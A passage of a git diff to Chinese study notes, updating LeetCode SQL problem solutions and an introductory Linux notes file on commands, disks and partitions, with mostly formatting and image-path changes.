+INSERT INTO Employee ( Id, NAME, Salary, DepartmentId )
 VALUES
-    ( 1, 'Joe', 70000, 1 ),
-    ( 2, 'Henry', 80000, 2 ),
-    ( 3, 'Sam', 60000, 2 ),
-    ( 4, 'Max', 90000, 1 );
-INSERT INTO Department ( Id, NAME )
+    ( 1, 'Joe', 70000, 1 ),
+    ( 2, 'Henry', 80000, 2 ),
+    ( 3, 'Sam', 60000, 2 ),
+    ( 4, 'Max', 90000, 1 );
+INSERT INTO Department ( Id, NAME )
 VALUES
-    ( 1, 'IT' ),
-    ( 2, 'Sales' );
+    ( 1, 'IT' ),
+    ( 2, 'Sales' );
 ```
 
-## Solution
+## Solution
 
-创建一个临时表，包含了部门员工的最大薪资。可以对部门进行分组，然后使用 MAX() 汇总函数取得最大薪资。
+创建一个临时表，包含了部门员工的最大薪资。可以对部门进行分组，然后使用 MAX() 汇总函数取得最大薪资。
 
 之后使用连接找到一个部门中薪资等于临时表中最大薪资的员工。
 
 ```sql
 SELECT
-    D.NAME Department,
-    E.NAME Employee,
-    E.Salary
+    D.NAME Department,
+    E.NAME Employee,
+    E.Salary
 FROM
-    Employee E,
-    Department D,
-    ( SELECT DepartmentId, MAX( Salary ) Salary FROM Employee GROUP BY DepartmentId ) M
+    Employee E,
+    Department D,
+    ( SELECT DepartmentId, MAX( Salary ) Salary FROM Employee GROUP BY DepartmentId ) M
 WHERE
-    E.DepartmentId = D.Id
-    AND E.DepartmentId = M.DepartmentId
-    AND E.Salary = M.Salary;
+    E.DepartmentId = D.Id
+    AND E.DepartmentId = M.DepartmentId
+    AND E.Salary = M.Salary;
 ```
 
-# 176. Second Highest Salary
+# 176. Second Highest Salary
 
 https://leetcode.com/problems/second-highest-salary/description/
 
-## Description
+## Description
 
 ```html
 +----+--------+
-| Id | Salary |
+| Id | Salary |
 +----+--------+
-| 1  | 100    |
-| 2  | 200    |
-| 3  | 300    |
+| 1  | 100    |
+| 2  | 200    |
+| 3  | 300    |
 +----+--------+
 ```
 
@@ -662,76 +682,76 @@ https://leetcode.com/problems/second-highest-salary/description/
 
 ```html
 +---------------------+
-| SecondHighestSalary |
+| SecondHighestSalary |
 +---------------------+
-| 200                 |
+| 200                 |
 +---------------------+
 ```
 
-没有找到返回 null 而不是不返回数据。
+没有找到返回 null 而不是不返回数据。
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS Employee;
-CREATE TABLE Employee ( Id INT, Salary INT );
-INSERT INTO Employee ( Id, Salary )
+    EXISTS Employee;
+CREATE TABLE Employee ( Id INT, Salary INT );
+INSERT INTO Employee ( Id, Salary )
 VALUES
-    ( 1, 100 ),
-    ( 2, 200 ),
-    ( 3, 300 );
+    ( 1, 100 ),
+    ( 2, 200 ),
+    ( 3, 300 );
 ```
 
-## Solution
+## Solution
 
-为了在没有查找到数据时返回 null，需要在查询结果外面再套一层 SELECT。
+为了在没有查找到数据时返回 null，需要在查询结果外面再套一层 SELECT。
 
 ```sql
 SELECT
-    ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT 1, 1 ) SecondHighestSalary;
+    ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT 1, 1 ) SecondHighestSalary;
 ```
 
-# 177. Nth Highest Salary
+# 177. Nth Highest Salary
 
-## Description
+## Description
 
-查找工资第 N 高的员工。
+查找工资第 N 高的员工。
 
-## SQL Schema
+## SQL Schema
 
-同 176。
+同 176。
 
-## Solution
+## Solution
 
 ```sql
-CREATE FUNCTION getNthHighestSalary ( N INT ) RETURNS INT BEGIN
+CREATE FUNCTION getNthHighestSalary ( N INT ) RETURNS INT BEGIN
 
-SET N = N - 1;
-RETURN ( SELECT ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT N, 1 ) );
+SET N = N - 1;
+RETURN ( SELECT ( SELECT DISTINCT Salary FROM Employee ORDER BY Salary DESC LIMIT N, 1 ) );
 
 END
 ```
 
-# 178. Rank Scores
+# 178. Rank Scores
 
 https://leetcode.com/problems/rank-scores/description/
 
-## Description
+## Description
 
 得分表：
 
 ```html
 +----+-------+
-| Id | Score |
+| Id | Score |
 +----+-------+
-| 1  | 3.50  |
-| 2  | 3.65  |
-| 3  | 4.00  |
-| 4  | 3.85  |
-| 5  | 4.00  |
-| 6  | 3.65  |
+| 1  | 3.50  |
+| 2  | 3.65  |
+| 3  | 4.00  |
+| 4  | 3.85  |
+| 5  | 4.00  |
+| 6  | 3.65  |
 +----+-------+
 ```
 
@@ -739,69 +759,69 @@ https://leetcode.com/problems/rank-scores/description/
 
 ```html
 +-------+------+
-| Score | Rank |
+| Score | Rank |
 +-------+------+
-| 4.00  | 1    |
-| 4.00  | 1    |
-| 3.85  | 2    |
-| 3.65  | 3    |
-| 3.65  | 3    |
-| 3.50  | 4    |
+| 4.00  | 1    |
+| 4.00  | 1    |
+| 3.85  | 2    |
+| 3.65  | 3    |
+| 3.65  | 3    |
+| 3.50  | 4    |
 +-------+------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS Scores;
-CREATE TABLE Scores ( Id INT, Score DECIMAL ( 3, 2 ) );
-INSERT INTO Scores ( Id, Score )
+    EXISTS Scores;
+CREATE TABLE Scores ( Id INT, Score DECIMAL ( 3, 2 ) );
+INSERT INTO Scores ( Id, Score )
 VALUES
-    ( 1, 3.5 ),
-    ( 2, 3.65 ),
-    ( 3, 4.0 ),
-    ( 4, 3.85 ),
-    ( 5, 4.0 ),
-    ( 6, 3.65 );
+    ( 1, 3.5 ),
+    ( 2, 3.65 ),
+    ( 3, 4.0 ),
+    ( 4, 3.85 ),
+    ( 5, 4.0 ),
+    ( 6, 3.65 );
 ```
 
-## Solution
+## Solution
 
 ```sql
 SELECT
-    S1.score,
-    COUNT( DISTINCT S2.score ) Rank
+    S1.score,
+    COUNT( DISTINCT S2.score ) Rank
 FROM
-    Scores S1
-    INNER JOIN Scores S2
-    ON S1.score <= S2.score
-GROUP BY
-    S1.id
-ORDER BY
-    S1.score DESC;
+    Scores S1
+    INNER JOIN Scores S2
+    ON S1.score <= S2.score
+GROUP BY
+    S1.id
+ORDER BY
+    S1.score DESC;
 ```
 
-# 180. Consecutive Numbers
+# 180. Consecutive Numbers
 
 https://leetcode.com/problems/consecutive-numbers/description/
 
-## Description
+## Description
 
 数字表：
 
 ```html
 +----+-----+
-| Id | Num |
+| Id | Num |
 +----+-----+
-| 1  |  1  |
-| 2  |  1  |
-| 3  |  1  |
-| 4  |  2  |
-| 5  |  1  |
-| 6  |  2  |
-| 7  |  2  |
+| 1  |  1  |
+| 2  |  1  |
+| 3  |  1  |
+| 4  |  2  |
+| 5  |  1  |
+| 6  |  2  |
+| 7  |  2  |
 +----+-----+
 ```
 
@@ -809,62 +829,62 @@ https://leetcode.com/problems/consecutive-numbers/description/
 
 ```html
 +-----------------+
-| ConsecutiveNums |
+| ConsecutiveNums |
 +-----------------+
-| 1               |
+| 1               |
 +-----------------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS LOGS;
-CREATE TABLE LOGS ( Id INT, Num INT );
-INSERT INTO LOGS ( Id, Num )
+    EXISTS LOGS;
+CREATE TABLE LOGS ( Id INT, Num INT );
+INSERT INTO LOGS ( Id, Num )
 VALUES
-    ( 1, 1 ),
-    ( 2, 1 ),
-    ( 3, 1 ),
-    ( 4, 2 ),
-    ( 5, 1 ),
-    ( 6, 2 ),
-    ( 7, 2 );
+    ( 1, 1 ),
+    ( 2, 1 ),
+    ( 3, 1 ),
+    ( 4, 2 ),
+    ( 5, 1 ),
+    ( 6, 2 ),
+    ( 7, 2 );
 ```
 
-## Solution
+## Solution
 
 ```sql
 SELECT
-    DISTINCT L1.num ConsecutiveNums
+    DISTINCT L1.num ConsecutiveNums
 FROM
-    Logs L1,
-    Logs L2,
-    Logs L3
-WHERE L1.id = l2.id - 1
-    AND L2.id = L3.id - 1
-    AND L1.num = L2.num
-    AND l2.num = l3.num;
+    Logs L1,
+    Logs L2,
+    Logs L3
+WHERE L1.id = l2.id - 1
+    AND L2.id = L3.id - 1
+    AND L1.num = L2.num
+    AND l2.num = l3.num;
 ```
 
-# 626. Exchange Seats
+# 626. Exchange Seats
 
 https://leetcode.com/problems/exchange-seats/description/
 
-## Description
+## Description
 
-seat 表存储着座位对应的学生。
+seat 表存储着座位对应的学生。
 
 ```html
 +---------+---------+
-|    id   | student |
+|    id   | student |
 +---------+---------+
-|    1    | Abbot   |
-|    2    | Doris   |
-|    3    | Emerson |
-|    4    | Green   |
-|    5    | Jeames  |
+|    1    | Abbot   |
+|    2    | Doris   |
+|    3    | Emerson |
+|    4    | Green   |
+|    5    | Jeames  |
 +---------+---------+
 ```
 
@@ -872,60 +892,60 @@ seat 表存储着座位对应的学生。
 
 ```html
 +---------+---------+
-|    id   | student |
+|    id   | student |
 +---------+---------+
-|    1    | Doris   |
-|    2    | Abbot   |
-|    3    | Green   |
-|    4    | Emerson |
-|    5    | Jeames  |
+|    1    | Doris   |
+|    2    | Abbot   |
+|    3    | Green   |
+|    4    | Emerson |
+|    5    | Jeames  |
 +---------+---------+
 ```
 
-## SQL Schema
+## SQL Schema
 
 ```sql
-DROP TABLE
+DROP TABLE
 IF
-    EXISTS seat;
-CREATE TABLE seat ( id INT, student VARCHAR ( 255 ) );
-INSERT INTO seat ( id, student )
+    EXISTS seat;
+CREATE TABLE seat ( id INT, student VARCHAR ( 255 ) );
+INSERT INTO seat ( id, student )
 VALUES
-    ( '1', 'Abbot' ),
-    ( '2', 'Doris' ),
-    ( '3', 'Emerson' ),
-    ( '4', 'Green' ),
-    ( '5', 'Jeames' );
+    ( '1', 'Abbot' ),
+    ( '2', 'Doris' ),
+    ( '3', 'Emerson' ),
+    ( '4', 'Green' ),
+    ( '5', 'Jeames' );
 ```
 
-## Solution
+## Solution
 
-使用多个 union。
+使用多个 union。
 
 ```sql
 SELECT
-    s1.id - 1 AS id,
-    s1.student
+    s1.id - 1 AS id,
+    s1.student
 FROM
-    seat s1
+    seat s1
 WHERE
-    s1.id MOD 2 = 0 UNION
+    s1.id MOD 2 = 0 UNION
 SELECT
-    s2.id + 1 AS id,
-    s2.student
+    s2.id + 1 AS id,
+    s2.student
 FROM
-    seat s2
+    seat s2
 WHERE
-    s2.id MOD 2 = 1
-    AND s2.id != ( SELECT max( s3.id ) FROM seat s3 ) UNION
+    s2.id MOD 2 = 1
+    AND s2.id != ( SELECT max( s3.id ) FROM seat s3 ) UNION
 SELECT
-    s4.id AS id,
-    s4.student
+    s4.id AS id,
+    s4.student
 FROM
-    seat s4
+    seat s4
 WHERE
-    s4.id MOD 2 = 1
-    AND s4.id = ( SELECT max( s5.id ) FROM seat s5 )
-ORDER BY
-    id;
+    s4.id MOD 2 = 1
+    AND s4.id = ( SELECT max( s5.id ) FROM seat s5 )
+ORDER BY
+    id;
 ```
diff --git a/docs/notes/Linux.md b/docs/notes/Linux.md
index 52d08922..3bd2affc 100644
--- a/docs/notes/Linux.md
+++ b/docs/notes/Linux.md
@@ -1,1196 +1,1248 @@
-# 一、常用操作以及概念
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、常用操作以及概念](#一常用操作以及概念)
+    * [快捷键](#快捷键)
+    * [求助](#求助)
+    * [关机](#关机)
+    * [PATH](#path)
+    * [sudo](#sudo)
+    * [包管理工具](#包管理工具)
+    * [发行版](#发行版)
+    * [VIM 三个模式](#vim-三个模式)
+    * [GNU](#gnu)
+    * [开源协议](#开源协议)
+* [二、磁盘](#二磁盘)
+    * [磁盘接口](#磁盘接口)
+    * [磁盘的文件名](#磁盘的文件名)
+* [三、分区](#三分区)
+    * [分区表](#分区表)
+    * [开机检测程序](#开机检测程序)
+* [四、文件系统](#四文件系统)
+    * [分区与文件系统](#分区与文件系统)
+    * [组成](#组成)
+    * [文件读取](#文件读取)
+    * [磁盘碎片](#磁盘碎片)
+    * [block](#block)
+    * [inode](#inode)
+    * [目录](#目录)
+    * [日志](#日志)
+    * [挂载](#挂载)
+    * [目录配置](#目录配置)
+* [五、文件](#五文件)
+    * [文件属性](#文件属性)
+    * [文件与目录的基本操作](#文件与目录的基本操作)
+    * [修改权限](#修改权限)
+    * [文件默认权限](#文件默认权限)
+    * [目录的权限](#目录的权限)
+    * [链接](#链接)
+    * [获取文件内容](#获取文件内容)
+    * [指令与文件搜索](#指令与文件搜索)
+* [六、压缩与打包](#六压缩与打包)
+    * [压缩文件名](#压缩文件名)
+    * [压缩指令](#压缩指令)
+    * [打包](#打包)
+* [七、Bash](#七bash)
+    * [特性](#特性)
+    * [变量操作](#变量操作)
+    * [指令搜索顺序](#指令搜索顺序)
+    * [数据流重定向](#数据流重定向)
+* [八、管道指令](#八管道指令)
+    * [提取指令](#提取指令)
+    * [排序指令](#排序指令)
+    * [双向输出重定向](#双向输出重定向)
+    * [字符转换指令](#字符转换指令)
+    * [分区指令](#分区指令)
+* [九、正则表达式](#九正则表达式)
+    * [grep](#grep)
+    * [printf](#printf)
+    * [awk](#awk)
+* [十、进程管理](#十进程管理)
+    * [查看进程](#查看进程)
+    * [进程状态](#进程状态)
+    * [SIGCHLD](#sigchld)
+    * [wait()](#wait)
+    * [waitpid()](#waitpid)
+    * [孤儿进程](#孤儿进程)
+    * [僵尸进程](#僵尸进程)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
 
-## 快捷键
 
-- Tab：命令和文件名补全；
-- Ctrl+C：中断正在运行的程序；
-- Ctrl+D：结束键盘输入（End Of File，EOF）
+# 一、常用操作以及概念
 
-## 求助
+## 快捷键
 
-### 1. --help
+- Tab：命令和文件名补全；
+- Ctrl+C：中断正在运行的程序；
+- Ctrl+D：结束键盘输入（End Of File，EOF）
+
+## 求助
+
+### 1. --help
 
 指令的基本用法与选项介绍。
 
-### 2. man
+### 2. man
 
-man 是 manual 的缩写，将指令的具体信息显示出来。
+man 是 manual 的缩写，将指令的具体信息显示出来。
 
-当执行`man date`时，有 DATE(1) 出现，其中的数字代表指令的类型，常用的数字及其类型如下：
+当执行`man date`时，有 DATE(1) 出现，其中的数字代表指令的类型，常用的数字及其类型如下：
 
-| 代号 | 类型 |
-| :--: | -- |
-| 1 | 用户在 shell 环境中可以操作的指令或者可执行文件 |
-| 5 | 配置文件 |
-| 8 | 系统管理员可以使用的管理指令 |
+| 代号 | 类型 |
+| :--: | -- |
+| 1 | 用户在 shell 环境中可以操作的指令或者可执行文件 |
+| 5 | 配置文件 |
+| 8 | 系统管理员可以使用的管理指令 |
 
-### 3. info
+### 3. info
 
-info 与 man 类似，但是 info 将文档分成一个个页面，每个页面可以进行跳转。
+info 与 man 类似，但是 info 将文档分成一个个页面，每个页面可以进行跳转。
 
-### 4. doc
+### 4. doc
 
-/usr/share/doc 存放着软件的一整套说明文件。
+/usr/share/doc 存放着软件的一整套说明文件。
 
-## 关机
+## 关机
 
-### 1. who
+### 1. who
 
-在关机前需要先使用 who 命令查看有没有其它用户在线。
+在关机前需要先使用 who 命令查看有没有其它用户在线。
 
-### 2. sync
+### 2. sync
 
-为了加快对磁盘文件的读写速度，位于内存中的文件数据不会立即同步到磁盘上，因此关机之前需要先进行 sync 同步操作。
+为了加快对磁盘文件的读写速度，位于内存中的文件数据不会立即同步到磁盘上，因此关机之前需要先进行 sync 同步操作。
 
-### 3. shutdown
+### 3. shutdown
 
 ```html
-# shutdown [-krhc] 时间 [信息]
--k ： 不会关机，只是发送警告信息，通知所有在线的用户
--r ： 将系统的服务停掉后就重新启动
--h ： 将系统的服务停掉后就立即关机
--c ： 取消已经在进行的 shutdown 指令内容
+# shutdown [-krhc] 时间 [信息]
+-k ： 不会关机，只是发送警告信息，通知所有在线的用户
+-r ： 将系统的服务停掉后就重新启动
+-h ： 将系统的服务停掉后就立即关机
+-c ： 取消已经在进行的 shutdown 指令内容
 ```
 
-## PATH
+## PATH
 
-可以在环境变量 PATH 中声明可执行文件的路径，路径之间用 : 分隔。
+可以在环境变量 PATH 中声明可执行文件的路径，路径之间用 : 分隔。
 
 ```html
 /usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/home/dmtsai/.local/bin:/home/dmtsai/bin
 ```
 
-## sudo
+## sudo
 
-sudo 允许一般用户使用 root 可执行的命令，不过只有在 /etc/sudoers 配置文件中添加的用户才能使用该指令。
+sudo 允许一般用户使用 root 可执行的命令，不过只有在 /etc/sudoers 配置文件中添加的用户才能使用该指令。
 
-## 包管理工具
+## 包管理工具
 
-RPM 和 DPKG 为最常见的两类软件包管理工具：
+RPM 和 DPKG 为最常见的两类软件包管理工具：
 
-- RPM 全称为 Redhat Package Manager，最早由 Red Hat 公司制定实施，随后被 GNU 开源操作系统接受并成为很多 Linux 系统 (RHEL) 的既定软件标准。
-- 与 RPM 进行竞争的是基于 Debian 操作系统 (Ubuntu) 的 DEB 软件包管理工具 DPKG，全称为 Debian Package，功能方面与 RPM 相似。
+- RPM 全称为 Redhat Package Manager，最早由 Red Hat 公司制定实施，随后被 GNU 开源操作系统接受并成为很多 Linux 系统 (RHEL) 的既定软件标准。
+- 与 RPM 进行竞争的是基于 Debian 操作系统 (Ubuntu) 的 DEB 软件包管理工具 DPKG，全称为 Debian Package，功能方面与 RPM 相似。
 
-YUM 基于 RPM，具有依赖管理功能，并具有软件升级的功能。
+YUM 基于 RPM，具有依赖管理功能，并具有软件升级的功能。
 
-## 发行版
+## 发行版
 
-Linux 发行版是 Linux 内核及各种应用软件的集成版本。
+Linux 发行版是 Linux 内核及各种应用软件的集成版本。
 
-| 基于的包管理工具 | 商业发行版 | 社区发行版 |
-| :--: | :--: | :--: |
-| RPM | Red Hat | Fedora / CentOS |
-| DPKG | Ubuntu | Debian |
+| 基于的包管理工具 | 商业发行版 | 社区发行版 |
+| :--: | :--: | :--: |
+| RPM | Red Hat | Fedora / CentOS |
+| DPKG | Ubuntu | Debian |
 
-## VIM 三个模式
+## VIM 三个模式
 
-- 一般指令模式（Command mode）：VIM 的默认模式，可以用于移动游标查看内容；
-- 编辑模式（Insert mode）：按下 "i" 等按键之后进入，可以对文本进行编辑；
-- 指令列模式（Bottom-line mode）：按下 ":" 按键之后进入，用于保存退出等操作。
+- 一般指令模式（Command mode）：VIM 的默认模式，可以用于移动游标查看内容；
+- 编辑模式（Insert mode）：按下 "i" 等按键之后进入，可以对文本进行编辑；
+- 指令列模式（Bottom-line mode）：按下 ":" 按键之后进入，用于保存退出等操作。
 
-<img src="index_files/5942debd-fc00-477a-b390-7c5692cc8070.jpg" width="400"/>
+<div align="center"> <img src="pics/5942debd-fc00-477a-b390-7c5692cc8070.jpg" width="400"/> </div><br>
 
 在指令列模式下，有以下命令用于离开或者保存文件。
 
-| 命令 | 作用 |
-| :--: | :--: |
-| :w | 写入磁盘|
-| :w! | 当文件为只读时，强制写入磁盘。到底能不能写入，与用户对该文件的权限有关 |
-| :q | 离开 |
-| :q! | 强制离开不保存 |
-| :wq | 写入磁盘后离开 |
-| :wq!| 强制写入磁盘后离开 |
+| 命令 | 作用 |
+| :--: | :--: |
+| :w | 写入磁盘|
+| :w! | 当文件为只读时，强制写入磁盘。到底能不能写入，与用户对该文件的权限有关 |
+| :q | 离开 |
+| :q! | 强制离开不保存 |
+| :wq | 写入磁盘后离开 |
+| :wq!| 强制写入磁盘后离开 |
 
-## GNU
+## GNU
 
-GNU 计划，译为革奴计划，它的目标是创建一套完全自由的操作系统，称为 GNU，其内容软件完全以 GPL 方式发布。其中 GPL 全称为 GNU 通用公共许可协议，包含了以下内容：
+GNU 计划，译为革奴计划，它的目标是创建一套完全自由的操作系统，称为 GNU，其内容软件完全以 GPL 方式发布。其中 GPL 全称为 GNU 通用公共许可协议，包含了以下内容：
 
-- 以任何目的运行此程序的自由；
-- 再复制的自由；
-- 改进此程序，并公开发布改进的自由。
+- 以任何目的运行此程序的自由；
+- 再复制的自由；
+- 改进此程序，并公开发布改进的自由。
 
-## 开源协议
+## 开源协议
 
-- [Choose an open source license](https://choosealicense.com/)
-- [如何选择开源许可证？](http://www.ruanyifeng.com/blog/2011/05/how_to_choose_free_software_licenses.html)
+- [Choose an open source license](https://choosealicense.com/)
+- [如何选择开源许可证？](http://www.ruanyifeng.com/blog/2011/05/how_to_choose_free_software_licenses.html)
 
-# 二、磁盘
+# 二、磁盘
 
-## 磁盘接口
+## 磁盘接口
 
-### 1. IDE
+### 1. IDE
 
-IDE（ATA）全称 Advanced Technology Attachment，接口速度最大为 133MB/s，因为并口线的抗干扰性太差，且排线占用空间较大，不利电脑内部散热，已逐渐被 SATA 所取代。
+IDE（ATA）全称 Advanced Technology Attachment，接口速度最大为 133MB/s，因为并口线的抗干扰性太差，且排线占用空间较大，不利电脑内部散热，已逐渐被 SATA 所取代。
 
-<img src="index_files/924914c0-660c-4e4a-bbc0-1df1146e7516.jpg" width="400"/>
+<div align="center"> <img src="pics/924914c0-660c-4e4a-bbc0-1df1146e7516.jpg" width="400"/> </div><br>
 
-### 2. SATA
+### 2. SATA
 
-SATA 全称 Serial ATA，也就是使用串口的 ATA 接口，抗干扰性强，且对数据线的长度要求比 ATA 低很多，支持热插拔等功能。SATA-II 的接口速度为 300MiB/s，而新的 SATA-III 标准可达到 600MiB/s 的传输速度。SATA 的数据线也比 ATA 的细得多，有利于机箱内的空气流通，整理线材也比较方便。
+SATA 全称 Serial ATA，也就是使用串口的 ATA 接口，抗干扰性强，且对数据线的长度要求比 ATA 低很多，支持热插拔等功能。SATA-II 的接口速度为 300MiB/s，而新的 SATA-III 标准可达到 600MiB/s 的传输速度。SATA 的数据线也比 ATA 的细得多，有利于机箱内的空气流通，整理线材也比较方便。
 
-<img src="index_files/f9f2a16b-4843-44d1-9759-c745772e9bcf.jpg" width=""/>
+<div align="center"> <img src="pics/f9f2a16b-4843-44d1-9759-c745772e9bcf.jpg" width=""/> </div><br>
 
-### 3. SCSI
+### 3. SCSI
 
-SCSI 全称是 Small Computer System Interface（小型机系统接口），经历多代的发展，从早期的 SCSI-II 到目前的 Ultra320 SCSI 以及 Fiber-Channel（光纤通道），接口型式也多种多样。SCSI 硬盘广为工作站级个人电脑以及服务器所使用，因此会使用较为先进的技术，如碟片转速 15000rpm 的高转速，且传输时 CPU 占用率较低，但是单价也比相同容量的 ATA 及 SATA 硬盘更加昂贵。
+SCSI 全称是 Small Computer System Interface（小型机系统接口），经历多代的发展，从早期的 SCSI-II 到目前的 Ultra320 SCSI 以及 Fiber-Channel（光纤通道），接口型式也多种多样。SCSI 硬盘广为工作站级个人电脑以及服务器所使用，因此会使用较为先进的技术，如碟片转速 15000rpm 的高转速，且传输时 CPU 占用率较低，但是单价也比相同容量的 ATA 及 SATA 硬盘更加昂贵。
 
-<img src="index_files/f0574025-c514-49f5-a591-6d6a71f271f7.jpg" width=""/>
+<div align="center"> <img src="pics/f0574025-c514-49f5-a591-6d6a71f271f7.jpg" width=""/> </div><br>
 
-### 4. SAS
+### 4. SAS
 
-SAS（Serial Attached SCSI）是新一代的 SCSI 技术，和 SATA 硬盘相同，都是采取序列式技术以获得更高的传输速度，可达到 6Gb/s。此外也透过缩小连接线改善系统内部空间等。
+SAS（Serial Attached SCSI）是新一代的 SCSI 技术，和 SATA 硬盘相同，都是采取序列式技术以获得更高的传输速度，可达到 6Gb/s。此外也透过缩小连接线改善系统内部空间等。
 
-<img src="index_files/6729baa0-57d7-4817-b3aa-518cbccf824c.jpg" width=""/>
+<div align="center"> <img src="pics/6729baa0-57d7-4817-b3aa-518cbccf824c.jpg" width=""/> </div><br>
 
-## 磁盘的文件名
+## 磁盘的文件名
 
-Linux 中每个硬件都被当做一个文件，包括磁盘。磁盘以磁盘接口类型进行命名，常见磁盘的文件名如下：
+Linux 中每个硬件都被当做一个文件，包括磁盘。磁盘以磁盘接口类型进行命名，常见磁盘的文件名如下：
 
-- IDE 磁盘：/dev/hd[a-d]
-- SATA/SCSI/SAS 磁盘：/dev/sd[a-p]
+- IDE 磁盘：/dev/hd[a-d]
+- SATA/SCSI/SAS 磁盘：/dev/sd[a-p]
 
 其中文件名后面的序号的确定与系统检测到磁盘的顺序有关，而与磁盘所插入的插槽位置无关。
 
-# 三、分区
+# 三、分区
 
-## 分区表
+## 分区表
 
-磁盘分区表主要有两种格式，一种是限制较多的 MBR 分区表，一种是较新且限制较少的 GPT 分区表。
+磁盘分区表主要有两种格式，一种是限制较多的 MBR 分区表，一种是较新且限制较少的 GPT 分区表。
 
-### 1. MBR
+### 1. MBR
 
-MBR 中，第一个扇区最重要，里面有主要开机记录（Master boot record, MBR）及分区表（partition table），其中主要开机记录占 446 bytes，分区表占 64 bytes。
+MBR 中，第一个扇区最重要，里面有主要开机记录（Master boot record, MBR）及分区表（partition table），其中主要开机记录占 446 bytes，分区表占 64 bytes。
 
-分区表只有 64 bytes，最多只能存储 4 个分区，这 4 个分区为主分区（Primary）和扩展分区（Extended）。其中扩展分区只有一个，它使用其它扇区用记录额外的分区表，因此通过扩展分区可以分出更多分区，这些分区称为逻辑分区。
+分区表只有 64 bytes，最多只能存储 4 个分区，这 4 个分区为主分区（Primary）和扩展分区（Extended）。其中扩展分区只有一个，它使用其它扇区用记录额外的分区表，因此通过扩展分区可以分出更多分区，这些分区称为逻辑分区。
 
-Linux 也把分区当成文件，分区文件的命名方式为：磁盘文件名 + 编号，例如 /dev/sda1。注意，逻辑分区的编号从 5 开始。
+Linux 也把分区当成文件，分区文件的命名方式为：磁盘文件名 + 编号，例如 /dev/sda1。注意，逻辑分区的编号从 5 开始。
 
-### 2. GPT
+### 2. GPT
 
-不同的磁盘有不同的扇区大小，例如 512 bytes 和最新磁盘的 4 k。GPT 为了兼容所有磁盘，在定义扇区上使用逻辑区块地址（Logical Block Address, LBA），LBA 默认大小为 512 bytes。
+不同的磁盘有不同的扇区大小，例如 512 bytes 和最新磁盘的 4 k。GPT 为了兼容所有磁盘，在定义扇区上使用逻辑区块地址（Logical Block Address, LBA），LBA 默认大小为 512 bytes。
 
-GPT 第 1 个区块记录了主要开机记录（MBR），紧接着是 33 个区块记录分区信息，并把最后的 33 个区块用于对分区信息进行备份。这 33 个区块第一个为 GPT 表头纪录，这个部份纪录了分区表本身的位置与大小和备份分区的位置，同时放置了分区表的校验码 (CRC32)，操作系统可以根据这个校验码来判断 GPT 是否正确。若有错误，可以使用备份分区进行恢复。
+GPT 第 1 个区块记录了主要开机记录（MBR），紧接着是 33 个区块记录分区信息，并把最后的 33 个区块用于对分区信息进行备份。这 33 个区块第一个为 GPT 表头纪录，这个部份纪录了分区表本身的位置与大小和备份分区的位置，同时放置了分区表的校验码 (CRC32)，操作系统可以根据这个校验码来判断 GPT 是否正确。若有错误，可以使用备份分区进行恢复。
 
-GPT 没有扩展分区概念，都是主分区，每个 LAB 可以分 4 个分区，因此总共可以分 4 * 32 = 128 个分区。
+GPT 没有扩展分区概念，都是主分区，每个 LAB 可以分 4 个分区，因此总共可以分 4 * 32 = 128 个分区。
 
-MBR 不支持 2.2 TB 以上的硬盘，GPT 则最多支持到 2<sup>33</sup> TB = 8 ZB。
+MBR 不支持 2.2 TB 以上的硬盘，GPT 则最多支持到 2<sup>33</sup> TB = 8 ZB。
 
-<img src="index_files/GUID_Partition_Table_Scheme.svg.png" width="400"/>
+<div align="center"> <img src="pics/GUID_Partition_Table_Scheme.svg.png" width="400"/> </div><br>
 
-## 开机检测程序
+## 开机检测程序
 
-### 1. BIOS
+### 1. BIOS
 
-BIOS（Basic Input/Output System，基本输入输出系统），它是一个固件（嵌入在硬件中的软件），BIOS 程序存放在断电后内容不会丢失的只读内存中。
+BIOS（Basic Input/Output System，基本输入输出系统），它是一个固件（嵌入在硬件中的软件），BIOS 程序存放在断电后内容不会丢失的只读内存中。
 
-![](index_files/50831a6f-2777-46ea-a571-29f23c85cc21.jpg)
+<div align="center"> <img src="pics/50831a6f-2777-46ea-a571-29f23c85cc21.jpg"/> </div><br>
 
-BIOS 是开机的时候计算机执行的第一个程序，这个程序知道可以开机的磁盘，并读取磁盘第一个扇区的主要开机记录（MBR），由主要开机记录（MBR）执行其中的开机管理程序，这个开机管理程序会加载操作系统的核心文件。
+BIOS 是开机的时候计算机执行的第一个程序，这个程序知道可以开机的磁盘，并读取磁盘第一个扇区的主要开机记录（MBR），由主要开机记录（MBR）执行其中的开机管理程序，这个开机管理程序会加载操作系统的核心文件。
 
 主要开机记录（MBR）中的开机管理程序提供以下功能：选单、载入核心文件以及转交其它开机管理程序。转交这个功能可以用来实现了多重引导，只需要将另一个操作系统的开机管理程序安装在其它分区的启动扇区上，在启动开机管理程序时，就可以通过选单选择启动当前的操作系统或者转交给其它开机管理程序从而启动另一个操作系统。
 
-下图中，第一扇区的主要开机记录（MBR）中的开机管理程序提供了两个选单：M1、M2，M1 指向了 Windows 操作系统，而 M2 指向其它分区的启动扇区，里面包含了另外一个开机管理程序，提供了一个指向 Linux 的选单。
+下图中，第一扇区的主要开机记录（MBR）中的开机管理程序提供了两个选单：M1、M2，M1 指向了 Windows 操作系统，而 M2 指向其它分区的启动扇区，里面包含了另外一个开机管理程序，提供了一个指向 Linux 的选单。
 
-<img src="index_files/f900f266-a323-42b2-bc43-218fdb8811a8.jpg" width="600"/>
+<div align="center"> <img src="pics/f900f266-a323-42b2-bc43-218fdb8811a8.jpg" width="600"/> </div><br>
 
-安装多重引导，最好先安装 Windows 再安装 Linux。因为安装 Windows 时会覆盖掉主要开机记录（MBR），而 Linux 可以选择将开机管理程序安装在主要开机记录（MBR）或者其它分区的启动扇区，并且可以设置开机管理程序的选单。
